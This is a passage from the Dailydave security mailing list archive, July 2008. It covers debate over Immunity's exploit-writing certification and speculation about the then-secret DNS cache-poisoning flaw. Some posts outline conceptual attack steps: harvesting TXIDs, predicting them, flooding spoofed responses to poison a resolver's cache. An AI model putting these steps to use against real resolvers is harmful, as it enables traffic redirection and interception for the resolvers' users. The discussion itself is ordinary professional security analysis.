[Yes/No] ( If yes, pick one of the above support options, and explain how poor you are, and why you're worth spending our money on. Be creative. Poetry is acceptable? ) [CFP Submissions] Please submit your CFP by email to cfp at kiwicon.org, no later than 8:47pm NZST, Sunday 17th August 2008. There will be two rounds of selection, with the first half of the talks chosen in early August, so submit early for a better chance of acceptance. [Contacts & Further Information] Email us: kiwicon at kiwicon.org Check the site: http://www.kiwicon.org/ Drop by silc: silc.isig.org.nz:2706/kiwicon Join the list: kiwicon-subscribe at lists.isig.org.nz Greetz and thanks to all who helped make Kiwicon 2k7 the awesomeness it was, we'll see you fuckers again this year. Thick, meaty props to Pipes for stepping up and making 2k7 happen. We would miss you, but Sharrow's just as tall, and better looking. Sorry pal. -- The Kiwicon Cr?e, 2k8 - Bogan, Metlstorm & Sharrow. \m/ [1] http://en.wikipedia.org/wiki/Ben_Hana From dave at immunityinc.com Fri Jul 11 10:53:06 2008 From: dave at immunityinc.com (Dave Aitel) Date: Fri, 11 Jul 2008 10:53:06 -0400 Subject: [Dailydave] Immunity Certified Network Offense Professional Message-ID: <487773D2.7010803@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Immunity is proud to announce the launch of our new certification, the Network Offense Professional (NOP) at Defcon. NOP will allow prospective employers to know that you have the capabilities needed to understand the complex issues at the heart of information security. Specifically, to obtain the certification you will need to write a buffer overflow from scratch within a certain time period. You will first find the buffer overflow by reverse engineering a target program, and then obtain a shell from it or execute a command. This is a hands-on certification, not a paper test. Immunity Debugger, Immunity CANVAS, and VisualSploit will be available to you during the certification process to enable you to write the exploit quickly. The target process will be running on a Windows 2000 SP4 machine. Successfully completing the challenge will allow you to use the NOP signifier after your name and will potentially allow you to obtain discounts of Immunity products. Taking the NOP certification is on a first come first serve basis. Come to the Immunity Defcon booth and try your hand. Any inquiries can be sent to admin at immunityinc.com. Thanks, Dave Aitel VP Media Relations Immunity, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFId3PStehAhL0gheoRAtNqAJ0doXM7ieIOw97yZLP+LoyetQl8FgCeMuBP sbEP7dwfkNNYjxKIMKGf70U= =A7Lk -----END PGP SIGNATURE----- From BlueBoar at thievco.com Fri Jul 11 14:29:34 2008 From: BlueBoar at thievco.com (Blue Boar) Date: Fri, 11 Jul 2008 11:29:34 -0700 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <487773D2.7010803@immunityinc.com> References: <487773D2.7010803@immunityinc.com> Message-ID: <4877A68E.20007@thievco.com> Dave Aitel wrote: > Specifically, to obtain the certification you will need to write a > buffer overflow from scratch within a certain time period. You will > first find the buffer overflow by reverse engineering a target program, > and then obtain a shell from it or execute a command. This is a hands-on > certification, not a paper test. Sounds like potentially a meaningful, if narrow, test. > Immunity Debugger, Immunity CANVAS, and > VisualSploit will be available to you during the certification process > to enable you to write the exploit quickly. ONLY those? If so, that would make yours a cert that is potentially somewhat interesting, but still is designed to promote a particular vendor's tools. I'm pretty lost doing RE work without IDA Pro. Probably wouldn't make much difference in my case regardless. I can write you a simple stack overflow exploit given enough time, but probably not with a time limit. Especially not with an unfamiliar environment. And Halle Berry giving me a handjob. But I'm probably not the target audience? > Successfully completing the challenge will allow you to use the NOP > signifier after your name and will potentially allow you to obtain > discounts of Immunity products. I like the name, though. BB From tqbf at matasano.com Fri Jul 11 16:49:49 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Fri, 11 Jul 2008 15:49:49 -0500 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <4877A68E.20007@thievco.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> Message-ID: <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> > > Specifically, to obtain the certification you will need to write a > > buffer overflow from scratch within a certain time period. You will > > first find the buffer overflow by reverse engineering a target program, > > and then obtain a shell from it or execute a command. This is a hands-on > > certification, not a paper test. > Sounds like potentially a meaningful, if narrow, test. Some of the most effective pentesters I've met would not be able to pass this. This is the problem with all certifications. I get the "joke" here, so don't take that as a criticism. Although you should have made an acronym for MOV AX, AX work instead. -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From alex at sotirov.net Fri Jul 11 17:37:44 2008 From: alex at sotirov.net (Alexander Sotirov) Date: Fri, 11 Jul 2008 14:37:44 -0700 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> Message-ID: <20080711213744.GA19354@dsl093-068-005.sfo1.dsl.speakeasy.net> On Fri, Jul 11, 2008 at 03:49:49PM -0500, Thomas Ptacek wrote: > I get the "joke" here, so don't take that as a criticism. Although you > should have made an acronym for MOV AX, AX work instead. What is this, 1992? It's MOV EAX, EAX now, get on with the times! Alex -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080711/2161cb5d/attachment.pgp From root_ at fibertel.com.ar Sat Jul 12 06:31:02 2008 From: root_ at fibertel.com.ar (root) Date: Sat, 12 Jul 2008 07:31:02 -0300 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> Message-ID: <487887E6.2080003@fibertel.com.ar> Thomas Ptacek wrote: >> > Specifically, to obtain the certification you will need to write a >> > buffer overflow from scratch within a certain time period. You will >> > first find the buffer overflow by reverse engineering a target program, >> > and then obtain a shell from it or execute a command. This is a hands-on >> > certification, not a paper test. >> Sounds like potentially a meaningful, if narrow, test. > > Some of the most effective pentesters I've met would not be able to > pass this. This is the problem with all certifications. I think that exploit writing is a very different activity than pen testing. And even if a pen-tester get that certification, he would be writing an exploit for a platform 8 years old, without any modern BOF protection. I wonder what is the point. From rodney at pnresearch.com Sat Jul 12 11:57:15 2008 From: rodney at pnresearch.com (Rodney Thayer) Date: Sat, 12 Jul 2008 08:57:15 -0700 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <20080711213744.GA19354@dsl093-068-005.sfo1.dsl.speakeasy.net> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <20080711213744.GA19354@dsl093-068-005.sfo1.dsl.speakeasy.net> Message-ID: <4878D45B.5060700@pnresearch.com> Yeah, yeah, and we can all share stories about the old timers working for Novell who, when overworked and travelling through the Salt Lake City airport, started to see the gate numbers as op codes. This being back when Novell wrote x86 code anyone cared about. Before we all realized SMB was the answer to all the world's problems. (Gate C3 == SJC flights and that's what, a short jump in x86?) Alexander Sotirov wrote: > On Fri, Jul 11, 2008 at 03:49:49PM -0500, Thomas Ptacek wrote: >> I get the "joke" here, so don't take that as a criticism. Although you >> should have made an acronym for MOV AX, AX work instead. > > What is this, 1992? It's MOV EAX, EAX now, get on with the times! From dave at immunityinc.com Sat Jul 12 13:38:35 2008 From: dave at immunityinc.com (Dave Aitel) Date: Sat, 12 Jul 2008 13:38:35 -0400 Subject: [Dailydave] The audacity of thinking you're not owned Message-ID: <4878EC1B.2010501@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have to wonder about a strategy that implies that Paul Vixie is not owned by lots of different people. Anyways here is my guess of the day. There's 4 things that DNS checks, two of which are random in the "immune" djbdns code. One is the TXID (16 bits) and one is the source port. Assuming the "fix" for broken implementations is to randomize the source port, this means the TXID must be easily guessed. Amit's paper talks a bit about doing this sort of thing, but doesn't come into "easy" range. So here's what I think the exploit is, which is a slightly advanced method of some of Amit's stuff. I'm not a DNS (or crypto, for that matter) expert, so feel free to fill me in on where I'm missing stuff. 1. You can use the TTL to find out when to do your spoofing. 2. Use your own DNS to respond to some requests setting TTL=0 to get a long list of TXIDs from the resolver. 3. Map this list of TXIDs into an internal RNG state using a rainbow table. This lets you predict the next set of TXID's with just a hash lookup. 4. Make a request for mail.google.com and send your spoofed packets to infect the cache. - -dave P.S.: Kudos to the thousand people who posted about MOV RAX, RAX. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD4DBQFIeOwatehAhL0gheoRArf2AJUWsIr+YtCUeNtkglCenHegFqB7AJ4pXm5z M8td0TvVvWmrxHWN52NNSQ== =vtaV -----END PGP SIGNATURE----- From pty.err at gmail.com Sat Jul 12 15:03:53 2008 From: pty.err at gmail.com (Parity) Date: Sat, 12 Jul 2008 21:03:53 +0200 Subject: [Dailydave] The audacity of thinking you're not owned In-Reply-To: <4878EC1B.2010501@immunityinc.com> References: <4878EC1B.2010501@immunityinc.com> Message-ID: <1cd499dd0807121203w31e3fd52i1bed4a6fe3613966@mail.gmail.com> My totally uninformed speculation is worth way less than $0.02, but - Dan says he discovered the attack by accident. Mapping a sequence of TXID's into a rainbow table is not something one does on a whim. Moreover, if the attack you just proposed works against TXID's, then it ought to just as likely work against source ports as well. For my money, if he says he discovered it by accident, then Dan means to say that he was looking at a graph of some sort at the time. pty > So here's what I think the exploit is, which is a slightly advanced > method of some of Amit's stuff. I'm not a DNS (or crypto, for that > matter) expert, so feel free to fill me in on where I'm missing stuff. > > 1. You can use the TTL to find out when to do your spoofing. > 2. Use your own DNS to respond to some requests setting TTL=0 to get a > long list of TXIDs from the resolver. > 3. Map this list of TXIDs into an internal RNG state using a rainbow > table. This lets you predict the next set of TXID's with just a hash > lookup. > 4. Make a request for mail.google.com and send your spoofed packets to > infect the cache. > > - -dave > P.S.: Kudos to the thousand people who posted about MOV RAX, RAX. > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.6 (GNU/Linux) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iD4DBQFIeOwatehAhL0gheoRArf2AJUWsIr+YtCUeNtkglCenHegFqB7AJ4pXm5z > M8td0TvVvWmrxHWN52NNSQ== > =vtaV > -----END PGP SIGNATURE----- > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080712/aaa9efd3/attachment.htm From dave at immunityinc.com Sat Jul 12 15:30:44 2008 From: dave at immunityinc.com (Dave Aitel) Date: Sat, 12 Jul 2008 15:30:44 -0400 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> Message-ID: <48790664.8010108@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thomas Ptacek wrote: |> > Specifically, to obtain the certification you will need to write a |> > buffer overflow from scratch within a certain time period. You will |> > first find the buffer overflow by reverse engineering a target program, |> > and then obtain a shell from it or execute a command. This is a hands-on |> > certification, not a paper test. |> Sounds like potentially a meaningful, if narrow, test. | | Some of the most effective pentesters I've met would not be able to | pass this. This is the problem with all certifications. Then they'd fail. There's no excuse for not being able to write a simple Windows stack overflow in this day and age. I don't see this part as a problem. Even web attackers need to know how to do that. It is hard, of course, to isolate a hands on test from the tools you have to use to do that test. VisualSploit and Immunity Debugger are really easy to use, but if you are only capable of using WinDBG then you might fail as well. In that case, you'd need to learn how to pick up new tools faster. We'll have an instruction book available at the table. :> - -dave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIeQZjtehAhL0gheoRAvtcAKCGJUNoPLtsEEyKio9y5jOnuYBM2wCfQY3k CtWVHv6SwDthKJorIEWlwg8= =O5qQ -----END PGP SIGNATURE----- From bmenrigh at ucsd.edu Sat Jul 12 16:24:12 2008 From: bmenrigh at ucsd.edu (Brandon Enright) Date: Sat, 12 Jul 2008 20:24:12 +0000 Subject: [Dailydave] The audacity of thinking you're not owned In-Reply-To: <1cd499dd0807121203w31e3fd52i1bed4a6fe3613966@mail.gmail.com> References: <4878EC1B.2010501@immunityinc.com> <1cd499dd0807121203w31e3fd52i1bed4a6fe3613966@mail.gmail.com> Message-ID: <20080712202412.1f0ee2e0@moray> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sat, 12 Jul 2008 21:03:53 +0200 or thereabouts Parity wrote: > My totally uninformed speculation is worth way less than $0.02, but - > > Dan says he discovered the attack by accident. Mapping a sequence of > TXID's into a rainbow table is not something one does on a whim. > Moreover, if the attack you just proposed works against TXID's, then > it ought to just as likely work against source ports as well. Agreed. I don't think this is a PRNG break at all. Here's a few reasons why: * Dan claims the flaw is in the protocol and generating random TXIDs isn't enough (yeah, we all know 16 bits isn't enough entropy). * Dozens of DNS vendors have "fixed" their code on this one. A break of dozens of different PRNGs via "rainbow tables" or whatever would be _amazing_. An attack like this would likely break TCP ISN generators too. * None of the "fixes" have been to improve randomness. A nearly random TXID (by whatever magic algorithm generated it) would make any rainbow table computationaly infeasible. * We've known for a long time that it is easy to send 64k packets, one for each TXID. The trouble has always been in racing the correctly responding system to the right answer (or DoS it so that it can't respond). > > For my money, if he says he discovered it by accident, then Dan means > to say that he was looking at a graph of some sort at the time. > > pty > Dan has my interest really peaked on this one. I think Dan has discovered a way to invalidate the remotely responding system so that you can try all TXIDs and not have it be a race. I think "by accident" means that Dan discovered some way to get the victim into a state where the correctly responding server is taken completely out of the picture so that you can just flood all the TXIDs. If you have to guess port and TXID, instead of having to flood on average, 32k, you'd have to flood 2B. Brandon -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (GNU/Linux) iEYEARECAAYFAkh5EvwACgkQqaGPzAsl94K+qQCgnDdDbMtoRQdrkH+eJxNlMtr8 TTYAnAuMKQbYX4gsJnogVsts3rxA8sBO =Oumc -----END PGP SIGNATURE----- From dave at immunityinc.com Sat Jul 12 16:56:35 2008 From: dave at immunityinc.com (Dave Aitel) Date: Sat, 12 Jul 2008 16:56:35 -0400 Subject: [Dailydave] DNS Guess 2 for the day Message-ID: <48791A83.6020601@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 So you don't really want to spoof the client. You want to spoof the resolver. So you pretend to be a resolver below it, and pass it along a fake request (with a TXID), and then immediately send him the spoofed response (since you specified the TXID) and his port is known. He then sends you the response (which is the one you spoofed him) and is poisoned. - -dave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIeRqDtehAhL0gheoRAjo2AJ9bbk3v6CmajHC3h+vPGbpa4Z7o+QCfR1jf CTakU4SaHHnQiwIh9fUUwsA= =iZ/k -----END PGP SIGNATURE----- From pty.err at gmail.com Sat Jul 12 17:42:03 2008 From: pty.err at gmail.com (Parity) Date: Sat, 12 Jul 2008 23:42:03 +0200 Subject: [Dailydave] The audacity of thinking you're not owned In-Reply-To: <20080712202412.1f0ee2e0@moray> References: <4878EC1B.2010501@immunityinc.com> <1cd499dd0807121203w31e3fd52i1bed4a6fe3613966@mail.gmail.com> <20080712202412.1f0ee2e0@moray> Message-ID: <1cd499dd0807121442h1d2e8690y2b988f87387fc97d@mail.gmail.com> Yeah, I think we're thinking along the same lines. You can do exactly three things to improve your odds in a blind spoofing race: 1. Increase the transmission rate of your guesses - neither interesting nor fixable 2. Increase the accuracy of your guesses - this probably only works vs individual implementations, unless the DNS protocol provides a way to deplete the entropy pool from which TXID's are selected. I'm not ruling it out just yet, but it doesn't seem like the most fertile ground for mass ownage. 3. Increase the duration of the attack window - i.e., incapacitate or stall the legitimate responder. My money is on #3. Supplemental note to Halvar & everybody else who has said, in effect, "this is why SSL was invented" -- there's more to internet security than the route from your computer to your online bank. Have you thought about what this bug implies for NTLM? Or every virgin OS installation on the planet? Or Google's entire business model? shutting up now, pty On Sat, Jul 12, 2008 at 10:24 PM, Brandon Enright wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Sat, 12 Jul 2008 21:03:53 +0200 or thereabouts Parity > wrote: > > > My totally uninformed speculation is worth way less than $0.02, but - > > > > Dan says he discovered the attack by accident. Mapping a sequence of > > TXID's into a rainbow table is not something one does on a whim. > > Moreover, if the attack you just proposed works against TXID's, then > > it ought to just as likely work against source ports as well. > > Agreed. I don't think this is a PRNG break at all. Here's a few > reasons why: > > * Dan claims the flaw is in the protocol and generating random TXIDs > isn't enough (yeah, we all know 16 bits isn't enough entropy). > > * Dozens of DNS vendors have "fixed" their code on this one. A break > of dozens of different PRNGs via "rainbow tables" or whatever would be > _amazing_. An attack like this would likely break TCP ISN generators > too. > > * None of the "fixes" have been to improve randomness. A nearly random > TXID (by whatever magic algorithm generated it) would make any rainbow > table computationaly infeasible. > > * We've known for a long time that it is easy to send 64k packets, one > for each TXID. The trouble has always been in racing the correctly > responding system to the right answer (or DoS it so that it can't > respond). > > > > > For my money, if he says he discovered it by accident, then Dan means > > to say that he was looking at a graph of some sort at the time. > > > > pty > > > > Dan has my interest really peaked on this one. I think Dan has > discovered a way to invalidate the remotely responding system so that > you can try all TXIDs and not have it be a race. > > I think "by accident" means that Dan discovered some way to get the > victim into a state where the correctly responding server is taken > completely out of the picture so that you can just flood all the TXIDs. > > If you have to guess port and TXID, instead of having to flood on > average, 32k, you'd have to flood 2B. > > Brandon > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v2.0.9 (GNU/Linux) > > iEYEARECAAYFAkh5EvwACgkQqaGPzAsl94K+qQCgnDdDbMtoRQdrkH+eJxNlMtr8 > TTYAnAuMKQbYX4gsJnogVsts3rxA8sBO > =Oumc > -----END PGP SIGNATURE----- > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080712/535aa412/attachment.htm From tqbf at matasano.com Sat Jul 12 21:47:15 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Sat, 12 Jul 2008 20:47:15 -0500 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <48790664.8010108@immunityinc.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> Message-ID: <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> > Then they'd fail. There's no excuse for not being able to write a simple > Windows stack overflow in this day and age. I don't see this part as a > problem. Even web attackers need to know how to do that. Web attackers do not need to know how to write stack overflows, Dave. If you can code, you don't even need to know how to write stack overflows to pen-test shrink wrap software. Two observations, which I can make because our team can obviously throw down the archaic exploit writing skills: - In the commercial market, the ability to find vulnerabilities commands a far higher price than the ability to write exploits. This isn't opinion; it's simply empirical. People who actually write exploits all day tend to work for vendors. A majority of consultants can't. - Most of the game-over vulnerabilities we find aren't code injection anymore. You're proposing a metric that could fail someone who can do DH parameter tampering, because they don't know the X86 Windows system call gate. > > It is hard, of course, to isolate a hands on test from the tools you > have to use to do that test. VisualSploit and Immunity Debugger are > really easy to use, but if you are only capable of using WinDBG then you > might fail as well. In that case, you'd need to learn how to pick up new > tools faster. We'll have an instruction book available at the table. :> > > - -dave > > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.6 (GNU/Linux) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > > iD8DBQFIeQZjtehAhL0gheoRAvtcAKCGJUNoPLtsEEyKio9y5jOnuYBM2wCfQY3k > CtWVHv6SwDthKJorIEWlwg8= > =O5qQ > -----END PGP SIGNATURE----- > > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From halvar at gmx.de Sun Jul 13 07:43:49 2008 From: halvar at gmx.de (Halvar Flake) Date: Sun, 13 Jul 2008 13:43:49 +0200 Subject: [Dailydave] The audacity of thinking you're not owned In-Reply-To: <1cd499dd0807121442h1d2e8690y2b988f87387fc97d@mail.gmail.com> References: <4878EC1B.2010501@immunityinc.com> <1cd499dd0807121203w31e3fd52i1bed4a6fe3613966@mail.gmail.com> <20080712202412.1f0ee2e0@moray> <1cd499dd0807121442h1d2e8690y2b988f87387fc97d@mail.gmail.com> Message-ID: <4879EA75.6080403@gmx.de> Hey all, > Supplemental note to Halvar & everybody else who has said, in effect, "this > is why SSL was invented" -- there's more to internet security than the route > from your computer to your online bank. Have you thought about what this > bug implies for NTLM? Or every virgin OS installation on the planet? Or > Google's entire business model? just to clarify: I did not say this bug wasn't relevant, and I don't want my blog post to be construed in that manner. What I did say was: 1. The average user always has to assume that his GW is owned, hence nothing changes for him. Specifically: he does not need to worry more than usual. Check SSL certificates, check host fingerprints. Don't use plaintext protocols. 2. For those providing DNS services, it is clearly preferrable to patch. A DNS system without trivial poisoning is preferrable to one with trivial poisoning. 3. In living memory, we have survived repeated Bind remote exploits, SSH remote exploits, a good number of OpenSSL remote exploits etc. -- I argue that the following inequality holds: OpenSSL remote >= OpenSSH remote > Bind remote > easy DNS poisoning I argue this because the left-hand side usually implies the right-hand side given some time & creativity. The net has survived much worse. So I guess summary is: Good find, definitely useful for an attacker, but we have survived much worse without a need for the great-vendor-coordination jazz. Cheers, Halvar PS: I am aware that my sangfroid could be likened to a russian roulette player, that after winning 4 games concludes: "This game clearly isn't dangerous." PPS: It seems that we will find many more critical issues in DNS over the next weeks - it's the first time in years that a significant quantity of people look at the protocol / implementations. From lek at xs4all.nl Sun Jul 13 09:18:46 2008 From: lek at xs4all.nl (Petja van der Lek) Date: Sun, 13 Jul 2008 15:18:46 +0200 Subject: [Dailydave] DNS Guess 2 for the day In-Reply-To: <4879F2BC.6020205@xs4all.nl> References: <4879F2BC.6020205@xs4all.nl> Message-ID: <487A00B6.6020403@xs4all.nl> For a moment, I thought that I've witnessed what we in the business call a "Bingo!" moment -- until I ran some experiments. Now, I'd hate to contradict the list owner (much less so on my very first post), but bear with me. If I turn out to be horribly mistaken, feel free to flog me mercilessly, call me a little girl, or something similar. The problem with the thesis: the transmission ID of the query from the client to the resolving name server is not retained in the related outgoing non-recursive queries sent out by that name server. What I did: create an NS delegation record in one of the DNS zones under my control, and have it point to the address of the client I ran the tests on. That way, I could monitor both the outgoing DNS queries and the attempts of the public DNS servers to resolve said query. Next, I fired off queries for the newly created subdomain to some of my friendly unpatched neighbourhood name servers. The constant query port shows that we're dealing with unpatched servers. Some Wireshark data (83.137.150.2 is the name server being tested, 32967 is its query source port): 1 0.000000 192.168.1.65 83.137.150.2 DNS Standard query A aaargh.dnstest.lekdevil.nl Internet Protocol, Src: 192.168.1.65 (192.168.1.65), Dst: 83.137.150.2 (83.137.150.2) User Datagram Protocol, Src Port: pptconference (1711), Dst Port: domain (53) Domain Name System (query) [Response In: 17] Transaction ID: 0x0006 Flags: 0x0100 (Standard query) ... 2 0.012301 83.137.150.2 192.168.1.65 DNS Standard query A aaargh.dnstest.lekdevil.nl Internet Protocol, Src: 83.137.150.2 (83.137.150.2), Dst: 192.168.1.65 (192.168.1.65) User Datagram Protocol, Src Port: 32967 (32967), Dst Port: domain (53) Domain Name System (query) Transaction ID: 0xb261 Flags: 0x0000 (Standard query) ... In this case, the TID of the recursive query is 0x0006 and the TID of the non-recursive query by the name server is 0xb261. Repeated tests show that the two TIDs are different from each other every time. So it seems like a name server generates a new TID for each query it sends out (with the exception of retransmissions). The aspiring evil spoof overlord wouldn't have control over the server TID, and thus wouldn't know which one to use in its spoofed reply. Now, were a name server to retain and reuse the TID received from a client in its corresponding outgoing queries, the possibility of a collision of TIDs from queries received from separate clients would be small but non-negligible on a busy name server. Such a collision could ruin the server's whole day, I presume, and make for a pretty broken design. I know it's BIND we're talking about, but still... So, do we still need to buy tickets to Black Hat, or am I about to be ridiculed by world+dog? Fire away. Cheers, Lek. > From: Dave Aitel > > > Date: Sat, 12 Jul 2008 16:56:35 -0400 > > So you don't really want to spoof the client. You want to spoof the > resolver. So you pretend to be a resolver below it, and pass it along a > fake request (with a TXID), and then immediately send him the spoofed > response (since you specified the TXID) and his port is known. He then > sends you the response (which is the one you spoofed him) and is poisoned. > > -dave > _______________________________________________ Dailydave mailing list Dailydave_at_lists.immunitysec.com http://lists.immunitysec.com/mailman/listinfo/dailydave From paul at xelerance.com Sun Jul 13 11:35:28 2008 From: paul at xelerance.com (Paul Wouters) Date: Sun, 13 Jul 2008 11:35:28 -0400 (EDT) Subject: [Dailydave] Marketing over Security? Message-ID: http://www.gcn.com/online/vol1_no1/46337-1.html# Hmm, immune to Denial of Service? Genuinely Secure SourceT micro Operating System? Which is not Linux so DHS ignores NSA's SElinux (and opensource security strategy). And is missing IPv6 which is mandatory which they will write from scratch or port from an open source OS in the next 6 months..... Interesting times..... Paul > DHS moves to strengthen domain name servers > > The Homeland Security Department???s Science and Technology Directorate > has awarded a contract to Secure64 Software to increase the security of > the Internet???s Domain Name Servers (DNS). > > [...] > > Part of the attraction of Secure64 is its Genuinely Secure SourceT micro > Operating System that Secure64 said is ???immune to compromise from > rootkits and malware and is resistant to denial-of-service attacks.??? > Secure64???s product, which includes a secure DNS solution based on > DNSSEC, will be supplemented with an incremental signing feature that > will increase the security of DNS transactions. > > The $1.2 million contract with Secure64, of Greenwood Village, Colo., > will simplify and automate DNSSEC deployment. The goal is to provide a > solution that serves not only the U.S. government but other organizations, > businesses and service providers worldwide. > > The Secure64 product is deployed as a network appliance and > can fit seamlessly into an organization???s existing DNS > architecture. Alternatively, the product can replace an existing DNS. > > The Secure64 product must also support IPv6 to comply with the Office > of Management and Budget???s IPv6 mandate. Secure64 supports the > resolution of IPv6 DNS transactions and AAAA DNS records transported over > IPv4. Support for transactions over a dual-stack IPv4 / IPv6 environment > is planned for later this year, with the development to occur outside > this project contract. > From pusscat at metasploit.com Sun Jul 13 14:07:24 2008 From: pusscat at metasploit.com (Pusscat) Date: Sun, 13 Jul 2008 14:07:24 -0400 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> Message-ID: <8e00af420807131107x21f87041lf7f8715234cf2066@mail.gmail.com> The problem I see with this is that people that can't write a simple exploit also cannot to other very important tasks such as: - Decide if a crash is exploitable at all - Make a judgement about the reliability of any exploits written - Debug the crash to see what input caused the crash in a reasonable time limit - Discuss possible fixes intellegently - Apply knowledge of the crash to other areas of the program to ensure that the bug isn't repeated and that the fix is in fact complete Exploitation of a simple vuln requires only simple knowledge of how x86 systems and the windows OS works, and some experience makimaking effective use of your tools work in a timely fashion. In my oppinion Dave's cert is just an effective test of basic knowledge and skills in one tiny package. - Lurene On Sat, Jul 12, 2008 at 9:47 PM, Thomas Ptacek wrote: >> Then they'd fail. There's no excuse for not being able to write a simple >> Windows stack overflow in this day and age. I don't see this part as a >> problem. Even web attackers need to know how to do that. > > Web attackers do not need to know how to write stack overflows, Dave. > If you can code, you don't even need to know how to write stack > overflows to pen-test shrink wrap software. > > Two observations, which I can make because our team can obviously > throw down the archaic exploit writing skills: > > - In the commercial market, the ability to find vulnerabilities > commands a far higher price than the ability to write exploits. This > isn't opinion; it's simply empirical. People who actually write > exploits all day tend to work for vendors. A majority of consultants > can't. > > - Most of the game-over vulnerabilities we find aren't code injection > anymore. You're proposing a metric that could fail someone who can do > DH parameter tampering, because they don't know the X86 Windows system > call gate. > >> >> It is hard, of course, to isolate a hands on test from the tools you >> have to use to do that test. VisualSploit and Immunity Debugger are >> really easy to use, but if you are only capable of using WinDBG then you >> might fail as well. In that case, you'd need to learn how to pick up new >> tools faster. We'll have an instruction book available at the table. :> >> >> - -dave >> >> >> -----BEGIN PGP SIGNATURE----- >> Version: GnuPG v1.4.6 (GNU/Linux) >> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org >> >> >> iD8DBQFIeQZjtehAhL0gheoRAvtcAKCGJUNoPLtsEEyKio9y5jOnuYBM2wCfQY3k >> CtWVHv6SwDthKJorIEWlwg8= >> =O5qQ >> -----END PGP SIGNATURE----- >> >> >> _______________________________________________ >> Dailydave mailing list >> Dailydave at lists.immunitysec.com >> http://lists.immunitysec.com/mailman/listinfo/dailydave >> > > > -- > --- > Thomas H. Ptacek // matasano security > read us on the web: http://www.matasano.com/log > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > From dave at immunityinc.com Sun Jul 13 15:37:47 2008 From: dave at immunityinc.com (Dave Aitel) Date: Sun, 13 Jul 2008 15:37:47 -0400 Subject: [Dailydave] Paul Vixie's response... Message-ID: <487A598B.8080309@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ________________ dave, i was fwd'd this note by roland dobbins of cisco. plz consider posting my reply to your mailing list. or if you'd prefer, i can just blog about it. | > From: Dave Aitel | > Date: July 13, 2008 12:38:35 AM GMT+07:00 | > To: dailydave at lists.immunityinc.com | > Subject: 